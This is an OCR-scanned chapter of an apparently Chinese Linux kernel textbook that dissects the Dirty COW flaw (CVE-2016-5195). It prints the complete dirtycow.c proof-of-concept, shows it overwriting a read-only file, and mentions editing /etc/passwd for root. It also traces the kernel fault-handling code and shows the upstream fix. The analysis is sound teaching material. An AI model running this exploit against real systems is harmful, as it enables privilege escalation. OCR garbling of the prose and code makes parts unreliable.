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2. I DirtyCOW F2/7 /%4 madviseThread Z6FZE)/ N # procselfmemThread ZEFEGEAGENS
2 foo XFHI 251K ?

3. WREHEZT R T RZA SN P2 page cache JTETHY page HHZ5H,  (HEXS 17
HIVMA G 1R 3, A2 2 7] PR DIE 2 Z A 2

4. YR AR g (PROT_READ) K mmap B —1 X 1EFIH /5508, SR
1E/H memepy K G ERAFTN], Z2—TMTA RGN ?

2016 4F 10 H VR T —/MELERIEA T4 2 AR AR ™ #1224, 123087 7T DUERAL
B (%5 P 1 P9 A5 ) SRR (R R B SRR T RGP, TSR root AUBR, IX A B2 w] LA
M ZIRIANZ RS 2%, IULE R RS 2 #00E  linux R%t. XANIEIAHFRHA Dirty COW,
85y CVE-2016-5195. Linux WX 7E 10 H 18 El'%’%ﬂk’ETiz/Nﬁj‘ii\i@B@ bug®, #ARK
BB Linux AT SEHAY, FERRFEEER . XA bug FEMHI A AZIA M Linux 2.6.22 F
Linux 4.8, Linux-2.6.22 & 2007 E& i N .

@‘\ DIRTY GOW

K 2.34 DirtyCOW [¥] logo

1] DirtyCow b@xﬁzﬂ%ﬂuaw;

[dirtycow.c]

0 #include <stdio.h>

1 #include <sys/mman.h>
2 #include <fecntl.h>

3 #include <pthread.h>

4 #include <unistd.h>

5 #include <sys/stat.h>

6 #include <string.h>

@ Linux Z£%E2< Phil Oester. https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
@https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19beOeaffa3ac7d8eb6784ad9bd
bc7d67ed8e619
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7

8 void *map;

9intf;

10struct stat st;

11char *name;

12

13void *madviseThread(void *arg)
14

15 char *str;

16 str=(char*)arg;

17 inti,c=0;

18 for(i=0;i<10000;i++)

19 {

20 c+=madvise(map,100,MADV_DONTNEED);
21 3}

22 printf("madvise %d\n\n",c);

23}

24

25void *procselfmemThread(void *arg)

264

27 char *str;

28 str=(char*)arg;

29 int f=open("/proc/self/mem",0_RDWR);

30 inti,c=0;

31 for(i=0;i<10000;i++) {

32 Iseek(f,map,SEEK_SET);

33 c+=write(f,str,strlen(str));

34 3}

35 printf("procselfmem %d\n\n", c);

36}

37

38

39int main(int argc,char *argv[])

404

41 if (argc<3)return 1;

42 pthread_t pthl,pth2;

43 f=open(argv[1],0_RDONLYy;

44 fstat(f,&st);

45 name=argv[1];

46

47 map=mmap(NULL,st5t_size, PROT_READ,MAP_PRIVATE,f,0);
48 printf("mmap %xA\N\h",map);

49 pthread_create(&pthl,NULL,madviseThread,argv[1]);
50 pthread_create(&pth2,NULL,procselfmemThread,argv([2]);
51

52 pthread_join(pthl,NULL);

53 pthread_join(pth2,NULL);

54 return 0;

55}

KZEA] LILE gemu F1HJ ARM Vexpress & Flli. 7€ Ubuntu ERJRECEIMNAA KT,
R AE B BAEE 1 Ubuntu REATRE DA L% TR T T .

1 Ymit

#arm-none-abi-gcc dirtycow.c -o dirtycow -static -Ipthread <=%F
#cp dirtycow linux-4.0/_install

#make bootimage

#make dtbs

2 1217 gemu
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# gemu-system-arm -M vexpress-a9 -smp 2 -m 1024M -kernel arch/arm/boot/zImage
-append "rdinit=/linuxrc console=ttyAMAO loglevel=8" -dtb
arch/arm/boot/dts/vexpress-v2p-ca9.dtb —nographic

3 1 gemu Bl
#echo “this is a dirtycow test case” > foo <= B NHEBAN—DTFHF R

#chmod 0404 foo <= BEOZCAFE MY R

# ./dirtycow foo m0000000000 <= &7 dirtycow &7, i3 & foo Rt
mmap b6f85000

madyvise 0

procselfmem: 110000

/ # cat foo <=FEFPITRE, BFE foo M, RIMTHERE! !
mO0000000000irtycow test case
/ #

M LT SE 45 K E dirtycow F2F LIS N — A R B30, XA AR 1T 2 B
AREBIEKGF . FIFERIERE, BETT DA XN, E/etc/passwd SCAFHEHS 1w AT LIRS
root BURR 1, IXAKWH T -

Dirtycow F2/7 &7 56 LA R iy 7 sETH— A3, AR5 H mmap B IX AN SO 25 2
J7SE], X HAEH MAP_PRIVATE B @ PE. RIUb e 2 — AR MU, 1XFE mmap G2
VMA @l A JF H R, © R E T VM_READ, JH&A %% VM_SHARED. VMA [f] flags
FrEAIH R AT VM_SHARED ARz, %4 PRIVATE MCbREA, R E VM_SHARED it
FRIEA VMA ZRH 1. FIH mmap BEAT IS BRST TTTHE P9 A% 2% 0] & page cache. 2741
BT HNLFE “madviseThread” 1 “procselfmemThpead” .

AT procselfmemThread 6. 415t /ptoc/seltfmem X304, Iseek & 7 FWIA
mmap B 25 (8] SR 5 AN BT b 5\ 2 44 53 N m0000000000” .« 135 /proc/self/mem iX 3, fEN
B RS2 R TE fs/proc/base.c U A4,

[fs/proc/base.c]
static const struct pid_e€ntry tgid_base_stuff[] = {
.F.{.EG("mem", S_IRUSR|S_IWUSR, proc_mem_operations),

static const struct file_operations proc_mem_operations = {

dlseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,

.release = mem_release,

}s

mem_write() BRI 4 3 ELE 1 H access_remote_vm()>RSEHLYT ) FH 7 ERE A ERE Mo hE 22 ]

[mem_write()->__ access_remote_vm()]

0 static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
1 unsigned long addr, void *buf, int len, int write)

24

BAS AT FEHE LINUX A%
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3 down_read(&mm->mmap_sem);

4  while (len) {

5 int bytes, ret, offset;

6 void *maddr;

7 struct page *page = NULL;

8

9 ret = get_user_pages(tsk, mm, addr, 1,
10 write, 1, &page, &vma);
11 if (ret <=0) {

12

13 } else {

14 maddr = kmap(page);

15 if (write) {

16 copy_to_user_page();
17 set_page_dirty_lock(page);
18 } else {

19 copy_from_user_page();
20 h:

21 kunmap(page);

22 page_cache_release(page);
23 >

24 3}

25 up_read(&mm->mmap_sem);
26 return buf - old_buf;
27}

HITEH R mm BE SR RELHhE addr 2R 00T DOSRIOCH S B T 1, ARt
TIXFE—A™ API BR%L: get_user_pages(). X HALIH25 get_user_pages IS /2 write=1 I
force=1 LA J% page f8%t, 1E )5 2R £ H 2> 4 4. 8§ FOLL WRITE | FOLL_FORCE | FOLL_GET fx

EAL

[mem_write()->__access.remote-vm()->__get_user_pages()]

0 long __get_user_pages(struct, tasks struct *tsk, struct mm_struct *mm,
1 unsigned long start, unsigned long nr_pages,

2 unsigned int gup_flags/)struct page **pages,
3 struct vm_area_sthuct **vmas, int *nonblocking)
44
5
6 retry:
cond_resched();
7 page = follow_page_mask(vma, start, foll_flags, &page_mask);
8 if (Ipage) {
9 int ret;
10 ret = faultin_page(tsk, vma, start, &foll_flags,
11 nonblocking);
12 switch (ret) {
13 case 0:
14 goto retry;
15 case -EFAULT:
16 case -ENOMEM:
17 case -EHWPOISON:
18 returni ?i: ret;
19 case -EBUSY:
20 return i;
21 case -ENOENT:
22 goto next_page;
23 T
24 BUG();
25 >

26 if (pages) {
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27
28

pages[i] = page;
}

29next_page:

30
31

return i;

323}

PATIEE — RGN IR 5 1& o 55— RS MR D P 2= R BLAAE (dirtycow F2 /571

map FREHR A A A ) SR B R SEPR Y B DT S WL 5 &, FITEL follow_page_mask() 5
B AT REIR 0] I ) page HdE 45 K1Y -

1
{

2
3
4
5
6
7
8
9

10
11
12
13
14
15
16
17
18
19
20
21
22
23

24

25
26

28
29
30
31

[__get_user_pages()->follow_page_mask()->follow_page_pte()]

0 static struct page *follow_page_pte(struct vm_area_struct *vma,

unsigned long address, pmd_t *pmd, unsigned int flags)

struct mm_struct *mm = vma->vm_mm;
struct page *page;

spinlock_t *ptl;

pte_t *ptep, pte;

retry:

ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
pte = *ptep;
if ('pte_present(pte)) {

if (pte_none(pte))
goto no_page;

3

if ((flags & FOLL_WRITE) && ‘“pte_write(pte)) ¢
pte_unmap_unlock(ptep, ptl)
return NULL;

b

page = vm_normal_page(vma, address, pte);

return page;

27no_page:

pte_unmap_unlock(ptep, ptl);
if ('pte_none(pte))
return NULL;
return no_pade_table(vma, flags);

32}

KL follow_page_pte() B K AT LA 2155 — IS A E BRI X R, pte TUR Y

L_PTE_PRESENT LLH#f7 4 0, FFH pte tHAZH KM LRI (pte_none(pte))
follow_page_mask()i& [l 24841 T .

[B] 3] get_user_pages()ERi%l, follow_page mask() B3k B & 1E 1) page B EEH, 1% &

FOHb R T B 0 4 B T TS 5 L R O &R, B4 faultin_page() S Bl i — Ui UL Bk 2
MIENK R ABERISEERE: AT VMA, 4ETHE L address. foll_flags 4:
FOLL_WRITE | FOLL_FORCE | FOLL_GET LA/ nonblocking=0.

| [__get_user_pages()->faultin_page()]

BAS AT FEHE LINUX A%
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0 static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
1 unsigned long address, unsigned int *flags, int *nonblocking)
2{
3 struct mm_struct *mm = vma->vm_mm;
4 unsigned int fault_flags = 0;
5 int ret;
6 ..
7  if (*flags & FOLL_WRITE)
8 fault_flags |= FAULT_FLAG_WRITE;
9
10 ret = handle_mm_fault(mm, vma, address, fault_flags);
11 ...
12 /*
13  * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
14  * necessary, even if maybe_mkwrite decided not to set pte_write. We
15 * can thus safely do subsequent page lookups as if they were reads.
16  * But only do so when looping for pte_write is futile: in some cases
17  * userspace may also be wanting to write to the gotten user page,
18 * which a read fault here might prevent (a readonly page might get
19 * reCOWed by userspace write).
20 ¥/
21 if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
22 *flags &= ~FOLL_WRITE;
23 return 0;
243}

faultin_page() B N\ A 7 — NS5 R TR (FAULT_FLAG_WRITE) , RAITEEE

pte (IALEIH B

0
1
2
3¢
4
5
6
7
8

[__get_user_pages()->faultin_page()->handle, mm_fault()-
>handle_pte_fault()]

static int handle_pte_fault(struct mha’ struct *mm,

struct vm_area_strdet**vma, unsigned long address,
pte_t *pte, pmd.t®%pmd, unsigned int flags)

pte_t entry;
spinlock_t *ptl;
entry = *pte;

if ('pte_present(entry)) {
if (pte_none(entry)) {
if (vma->vm_ops) {
if (likely(vma->vm_ops->fault))
return do_fault(mm, vma, address, pte,
pmd, flags, entry);
>
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
b
return do_swap_page(mm, vma, address,
pte, pmd, flags, entry);
b

ptl = pte_lockptr(mm, pmd);
spin_lock(ptl);
if (flags & FAULT_FLAG_WRITE) {
if ('pte_write(entry))
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry);
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28
29
30
31

b

pte_unmap_unlock(pte, ptl);
return O;

32}

IEIIRATZ BT AT XA pte entry FRITEL, PRESENT 745 V% B A7 I H. pte A2 4 2L pte,
FAHNRATVT R 12 page cache, BEF E X vma->vm_ops #AE 1AL LK fault 7718, HILRYE

handle_pte_fault() & £ 1A W2 48, & 2Bk 2] do_fault() 5.

[__get_user_pages()->faultin_page()->handle_mm_fault()-
>handle_pte_fault()->do_fault()]

0 static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
1 unsigned long address, pte_t *page_table, pmd_t *pmd,

2 unsigned int flags, pte_t orig_pte)

34

4  pgoff_t pgoff = (((address & PAGE_MASK)

5 - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;

6

7  pte_unmap(page_table);

8 if (I(flags & FAULT_FLAG_WRITE))

9 return do_read_fault(mm, vma, address, pmd, pgoff, flags,

10 orig_pte);

11 if ({(vma->vm_flags & VM_SHARED))

12 return do_cow_fault(mm, vma, address, pmd, pgoff, flags,

13 orig_pte);

14 return do_shared_fault(mm, vma, address, pind, pgaff, flags, orig_pte);
15}

do_fault() e 5 5 T A P8 > 2 LW 28 — AN RFAULT_FLAG_WRITE, 54h—14M2
VM_SHARED. A% 52 il AN — /N85 R IR DT B, 2005 M1 VMA S& LA i B
VMA ))& vma->vm_flags %% & VMWLSHARED, W, dirtycow F25 % ] MAP_PRIVATE I 5f

JEME, Rk 3] do_cow_fault s .

0
1
2
3
4
5
6
7
8

9

10
11
12
13
14
15
16
17
18
19

{

[__get_user_pages()c>faultin_page()->handle_mm_fault()-
>handle_pte_fault()->do_fault()->do_cow_fault()]

static int do_cow_ fault(struct mm_struct *mm, struct vm_area_struct *vma,

unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)

struct page *fault_page, *new_page;
pte_t *pte;
int ret;

new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
if ('new_page)
return VM_FAULT_OOM;

ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);
if (fault_page)
copy_user_highpage(new_page, fault_page, address, vma);

__SetPageUptodate(new_page);

do_set_pte(vma, address, new_page, pte, true, true);
if (fault_page) {

BAS AT FEHE LINUX A%
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20 unlock_page(fault_page);

21 page_cache_release(fault_page);
22 3}

23 ...

24 return ret;

25}

do_cow_fault()<>E#4rfio— /N #r Y DL new_page, FFH I __do_fault() ek Fusd SO &
LIS APl 4 page cache L% fault_page 1, #RJ5HE 1 I 2545 LR 1L new_page H.
do_set_pte() bR i< {8 F 3 DL I AN R 40Uk BRI G &R, B ST fault_page BRI T . VERE
iX B fault_page #& page cache, new_page AJ /& 4 WIH 1 .

[do_fault()->do_cow_fault()->do_set_pte()]

0 void do_set_pte(struct vm_area_struct *vma, unsigned long address,
1 struct page *page, pte_t *pte, bool write, bool anon)
24

pte_t entry;

3
4
5 flush_icache_page(vma, page);

6 entry = mk_pte(page, vma->vm_page_prot);
7

8

9

if (write)
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
if (anon) {
10 inc_mm_counter_fast(vma->vm_mm, MM_ANONPAGES);
11 page_add_new_anon_rmap(page, vma, address);
12 3}

13 set_pte_at(vma->vm_mm, address, pte, eptry);
14 update_mmu_cache(vma, address, pte);
15}

do_set_pte() B £ 7 S A8 FH WG 387 20 0N L THI AT vna AH G J8 PSR A2 B — AN HT IR TUER T pte
entry,

77817, BN SH RIS W, X B write 4 1, TUHAMNE, ArLLEE pte [ dirty
fiZ. maybe_mkwrite() B EZ PG T, A4 maybe WE? pte A write LA A 41X B &
BB AT g 2 H 50X LA G Fk

[include/linux/mm.h]
static inline pte_t maybe_mkwrite(pte_t pte, struct vm_area_struct *vma)
if (likely(vma->vm_flags & VM_WRITE))

pte = pte_mkwrite(pte);
return pte;

pte entry F1¥] WRITE LLRRA 2 75 75 22 B 070 75 225 18 VMA (1) vm_flags JBER B R AW E
g, WRA SR GERE pte entry HH1 WRITE FEARRAZ . FRAT1IX BLIK13% 50& mmap i@
R 20 (PROT_READ) MLSH—NSCfF, vma->vm_flags /&% % & VM_WRITE X M@, itk
Hi DU new_page AEIIHBIEE S HIHTHY pte entry s2: dirty AIFF H R/,

M do_cow_fault()#] faultin_page() Bl — % [7] 0, [1F]_ get user_pages() R & Bt 26
6~25 17, X B BT retry br2SAl, 4k22HF follow_page_mask() B 2= FRHL page 4544 71
B AL 6 25 Z R B 2 5L foll_flags AR BEA 224k, Bl FOLL_WRITE | FOLL_FORCE |
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FOLL_GET. 1% pte entry [\]J& % /&: PRESENT i # E 7, Dirty fifliE AL, Hi%f7 RDONLY i B
177 . NAE follow_page pte PR, A RIE S 3 1 flags bR ERTT S K, {HASZRR pte
entry HOET I E M, WAKBEHMASIR IEIEE%E’J page 44 7, M. follow_page pte EREH [
“(flags & FOLL_WRITE) && !pte_write(pte)” 1&F].

M follow_page_pte()i% 2]y NULL, 3 iz SCEER — I NI& (1 6k T H T faultin_page(). X
MRAR I 5 R M R T T

K AiX I pte entry PIRAS9: PRESENT =1. DIRTY=1. RDONLY=1, Fihn bE4 iR,
HARYE handle_pte_fault()ef B HI W2 48 Bk H: 21 do_wp_page()FE%l. do_wp_page PREUHD A B
LI

0 static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
1 unsigned long address, pte_t *page_table, pmd_t *pmd,
2 spinlock_t *ptl, pte_t orig_pte)

3 _ releases(ptl)

44

5  struct page *old_page, *new_page = NULL;

6 pte_tentry;

7 intret =0;

8

9 old_page = vm_normal_page(vma, address, orig_pte);

10

11 if (PageAnon(old_page) && !'PageKsm(old_page)) {

12 if (Itrylock_page(old_page)) {

13

14 >

15 if (reuse_swap_page(old_page)) {

16 unlock_page(old_pagé))

17 goto reuse;

18 >

19 unlock_page(old_pag¥);

20 } else if (unlikely((vma->vm ¢lags & (VM_WRITE|VM_SHARED)
21 (VM_WRITE|VM_SHARED))) {

22

23reuse:

24

25 entry = pte_.smkyoung(orig_pte);

26 entry = maybe_mkwrite(pte_mkdirty(entry), vma);
27 ret |= VM_FAULT_WRITE;

28 return ret;

29 3}

30

31gotten:

32

33}

X A% 3% 2] do_wp_page() BR800 TUTHI 2 B 44 TN B AT LR U (reuse) , RlGBE
3 reuse FRZEAbdr . X BEARSR A maybe_mkwrite()22 1k B {7 pte entry H WRITE 4567, {H
TR ANFEATIXA vma J& RS R, B AN ZIREKIESIE. pte entry /KR /& RDONLY Al
DIRTY ), ¥ X BIR [l [f & VM_FAULT_WRITE, XAM2 2016 4E 5% 25 (1 P9 773 R R S 8 e
1t

[6] 3] faultin_page()E&i %, P4 handle_mm_fault()iZ 7] T VM_FAULT_WRITE.

BAS AT FEHE LINUX A%
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static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{

ret = handle_mm_fault(mm, vma, address, fault_flags);

/*
* The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
* necessary, even if maybe_mkwrite decided not to set pte_write. We
* can thus safely do subsequent page lookups as if they were reads.
10 * But only do so when looping for pte_write is futile: in some cases
11  * userspace may also be wanting to write to the gotten user page,
12 * which a read fault here might prevent (a readonly page might get
13 * reCOWed by userspace write).
14 */
15 if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
16 *flags &= ~FOLL_WRITE;
17 return O;
18}

OCoOoONOOTUPA,WNHFHO

% 15~16 17X F iR Al VM_FAULT_WRITE J H. VMA J& R0, 5% 7 FOLL_WRITE Frid
fif. R [A] VM_FAULT_WRITE 71 do_wp_page() 0.4 58 i 1 % 5 i &l AL BE TAE, REATfe
A IpdAL pte entry WE AT S, (HET VMA MREVERI R, PR IX 2 J5 7] b2 4
BLZ I A, X B ZIRIA %0 2 &b

M faultin_page()FRER A1 0, N 2xBkEEF]  get_user_pages()BRELH K retry #3254b, F AR
NIl foll_flags ") FOLL_WRITE #5517, Fr LA IR 297 X 2 1 F follow_page_mask()
T

TR B 5 ) — A, IR T A A B R B R = B Ao B, B aR R i
R, FATEIRF follow_page_mask().Z Bl 59K — 262 madviseThread 14/ K] —FEREHE, R
retry FRZEAEH —A cond_resched() R4 /N2 K TT— R H R ITHOML2:, madvise(dontneed) & 4t
VAFIAE N B 1Y) zap_page_rangeWRE 2> 2= b2 UL S &R .

5] 2 procselfmemThread 282, XK IEZIEIT follow_page_mask()JRIKELIZ T page
gk RAZ TUNIA #% tadviseThread ZRFEREAN T, 1% U pte entry N 2&H XM pte - H.
PRESENT i thy& B 7, FTLL follow_page_mask() & HUIR [B] NULL. IS4 3 B iz S 3 s — P i o op
Wi, JEROX KA AE SRR TR T, R4 FOLL_WRITE CLATEZ RIS 1, IX [3] A] 2 54
TRITER TR T o XU LE PR 4a T F LE X (procselfmemThread Z8FEF Linux %)
procselfmemThread ZEFEHE T — NI, il Linux %38 FOLL_WRITE #J& T »

TE handle_pte_fault() B E P ARSEHIBT & (ZTLI pte entry A 2H ). PRESENT A7 7%
B H AR R BT R T page cache) k3% % do_read_fault() B BZ T SCAFRI N 2 FE H.
RE 0 (PEEXIHMERZATSCERINE, J2 page cache TiTHI, WA madviseThread 2k FEBE K] 7T
AL cow BRTTH W P2 AEE AL TUI) , KULTE_ get_user_pages() B HH FE— K retry
BT PAIE A IR [BHZ 0T 1) page 4544 T o

O IXMERIR Linux-2.6.13 FI|NT ., 7E 2005 £F Linus Torvalds $27 Patch ( PATCH] fix get_user_pages
bug ) EE{P}E@ dlrty cow [aJfR , J53K& Nick Piggin 1824 s390 4bHRESHEKIB]RR ( [PATCH] fix get_user_pages
bug ) X[ELR 7 IXAMEIRR,
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[8] %1 access_remote_vm() R, get_user_pages() B EUERHFREL T 1% T IX) page 45, 1F
EIXHZ U page cache, H kmap BEFHIMEI AR EEANMEER NS, EZTHREWK dirty, RS
K e SHH SR AN AR SNBXAN RS seth s, X NEET RS T .

T —ANEEE: R dirtycow 27 %A madviseThread ZiF2E1 R procselfmemThread
LRFEREANREIE L foo SCAFII N 25 WE ?

BATEFE B X Z B EIXA W, 2016 4F 10 A 18 H Linus Torvalds &3F 7 —4
patch&& 11X bug.

--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct
*vma,

#define FOLL_TRIED 0x800 /* a retry, previous pass started an IO */

#define FOLL_MLOCK 0x1000 /* lock present pages */

#define FOLL_REMOTE 0x2000 /* we are working on non-current tsk/mm */
+#define FOLL_COW 0x4000 /* internal GUP flag */

typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
void *data);
diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2f..22cc22e 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -60,6 +60,16 @@ static int follow_pfn_pte(Stguct vm_area_struct *vma, unsigned
long address,
return -EEXIST;
b

+/*

+ * FOLL_FORCE can write to even‘unwritable pte's, but only

+ * after we've gone through a ‘@OW cycle and they are dirty.

+ */

+static inline bool can_folléw\write_pte(pte_t pte, unsigned int flags)

+{

+ return pte_write(pte)*]|

+ ((flags & FQLE FORCE) && (flags & FOLL_COW) && pte_dirty(pte));

+3

+

static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)

{
@@ -95,7 +105,7 @@ retry:

¥
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
- if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+ if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
pte_unmap_unlock(ptep, ptl);
return NULL;

@@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct
vm_area_struct *vma,
* reCOWed by userspace write).

©https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19beOeaffa3ac7d8eb6784ad9bd
bc7d67ed8e619
S AT FFHIIE LINUX Y%
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*/

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
- *flags &= ~FOLL_WRITE;
+ *flags |= FOLL_COW;

return O;

XA patch EE SR FHiE LT — flag A FOLL_COW RARiiZ L& —4> COW Ui . 7F
faultin_page()Ei 124 do_wp_page XA cow 4B 2 5 i[9l VM_FAULT_WRITE 3 Hi% T
XML vma JEVERATT SIS, A 255 FOLL_WRITE 1 H¥% B ¥ f4sid FOLL_COwW, #*
INRIEA A cow T, PR A] DL FIRFISE S Kk R MAMEH pte B dirty f7 R IGE
FOLL_COW HIH %tk

BATREL R SLREERIA SR A —A 18 1R dirtycow F2F%H madviseThread ZiF%
Bl 7 procselfmemThread ZEFEREANREAEER foo SCAH-FT P 25 W ?

BTAVET R — TR AR dirtycow #27 H R 2SS — A R A Z (vma->flags
NARBEEME) A DBIRESAX A AN ALK, XN T2 page cache. fHE T3 —k
£5, WAERNAEFIFH pteentry NEHFLH, Freli®] T do_cow_page() B E M SR &
il COW, X fig 2 AEIX A SCAF XS LK P9 25 32 2 page cache 1, #RJ5HE page cache H A % 5 il £
T—AHHIEA T . X ASHE 4 TUR Y pte entry J& M2 Dirty | RDONLY. #RJ5 Ff 22414
follow_page(), {HREARTN, BN FOLL_WRITE I pte entry /& RDONLY, FrLAHEk—kE

HiREL TN, X[ I3 do_wp_page() B, ZHHBARIXANT 2 MELTHFHATUER, )

2 FERIB I pte entry [ write JEVE, (R, (BN vmaSflags R & V0 S 4 FLIE T .

do_wp_page()i& [A] VM_FAULT_WARITE 1, #9& [Fi&™ faultin_page ()t FOLL_WRITE 45 5% %
T, XX R — . ZWF] gétUser_pages() B K F R —IK follow_page(). fEIX
X follow_page()Z Wi, /N2 J] mfadviselhread 2253, EZ AR T, 7 — KR
4, XL R B A A et NI A4 follow_page() SRR T, X IR I — Ui T Hp T
EREIXKARREL T, Y FOLLWRITE Z HITHR 1o IXFEER T rp iy s 57 MO F T page
cache W%, FFHIRHL 1 1% page cache 5 HiAL, FifEi% page cache B4, H HZWKEN
PG_dirty, FREtIEI S HLHEIREE R R A ENT

R BRI A /N2 K T) madviseThread Z8FE 3], RS AT AtE L IE ?

HBAAE do_wp_page() R HUR [0 2 J5 A follow_page()Z %L T, RAEAE FEK: &K% T
BEIR, R IR AR cow PR AR RE 44 LT 9 HJ2 R, _ get_user_pages()n] BLIR [H]i%
U1, #RJ5__access_remote_vm() B FH kmap BRI EBLS 21 9% 7 8] () Ze MEHBEE SR )5 BN 25 .
NIA B T2 00— R, A AT LB AW ? X 2 KX A kmap SRELSZ 0T, AP
]t B TRAS pte —AN—HER, HIP 2B pre & R i@ tE. (212 S 2 ik /2 B 44 Ui
ME L TURE G RE, B swap RIS . B fE R, EAMERERBFR, E
VPR A RIE I —F . @y AR LI, aETR K. FrLEE A S AN&E BAr U m)
o X2 AT A A madviseThread AR “ /N4 % )7 —FERIBITG MR K 1) R DA 2
1, dirtycow Fft A T S0% .

IXEHESBURUA S8R T, 1% __get_user_pages() R HGR AL T #H 2L page cache TUHI ] page
AR Er, H2 VMA BJE M2 R, A n LS e ?
BFMTE_ access_remote_vm()EE B, X2 A& dfid. _ access_remote_vm() & T
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__get_user_pages()3HLU T page G52 )5 FH kmap S E BT, kmap J&1# FH P AZ B 26 14 i Bt X
W, AR 2] VMA BUR TR pte A —FERT, FH P 2B A pte /&2 R, kmap
LS A pte ZRT Y,

A R FEFEE A RS2 @ 1 (PROT_READ) K mmap B —AN SO 2 P 258, AR EH
memcpy KE5XBENFEE, &M arerfEo?

56 mmap &0 DAL DAY, #E81ER VMA BN (vma->vm_flags) N Rz, A4
memcpy ‘5 NI il K AL FEZS ) 25 o 3T ARM ALFRESR UG, fd & — N EE T R
(DataAbort) . fEHFEHH R E T, HEAXSRMAARE. MTHE—KE, KANREEE
3L, FTLLE IR H4E 1R (page translation fault) o

[arch/arm/mm/fsr-2level.c]
static struct fsr_info fsr_info[] = {

{ do_page_fault, SIGSEGV, SEGV_MAPERR, "page translation fault"},
{ do_page_fault, SIGSEGV, SEGV_ACCERR, "page permission fault"},

1

fsr_info K2 i Ay 5 (2 Ak L2 1SR

[do_DataAbort()->do_page_fault()->__do_page_fault()]
static int __kprobes
__do_page_fault(struct mm_struct *mm, unsigned,ofig-addr, unsigned int fsr,
unsigned int flags, struct.task_stroct *tsk)
{
struct vm_area_struct *wma;
int fault;
vma = find_vma(mm, addr);
fault = VM_FAULT_BADMAP;
if (unlikely(!vma))
goto out;
if (unlikely(vmags>vim_start > addr))
goto check_stack;
/*
* Ok, we haye a good vm_area for this
* memory agcess, so we can handle it.
*/
good_area:
if (access_error(fsr, vma)) {
fault = VM_FAULT_BADACCESS;
goto out;
b
return handle_mm_fault(mm, vma, addr & PAGE_MASK, flags);
out:
return fault;
);

FEVF Linux PIAZROBR T AR BT S 4 handle_mm_fault()Z B, __do_page_fault()=
access_error()>R AT VMA )35 JE

BAS AT FEHE LINUX A%
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static inline bool access_error(unsigned int fsr, struct vm_area_struct *vma)

{
unsigned int mask = VM_READ | VM_WRITE | VM_EXEC;

if (fsr & FSR_WRITE)
mask = VM_WRITE;

if (fsr & FSR_LNX_PF)
mask = VM_EXEC;

return vma->vm_flags & mask ? false : true;

P AEBRAT E T4, access_error()if T4 T vma (1) flag REE S B, EHHR
45 T, AT handle_mm_fault)HLA#B 504 . 555 U F__do_user_fault()kim S F P ik R i

—/NBUE iR (Program received signal SIGSEGV, Segmentation fault) .
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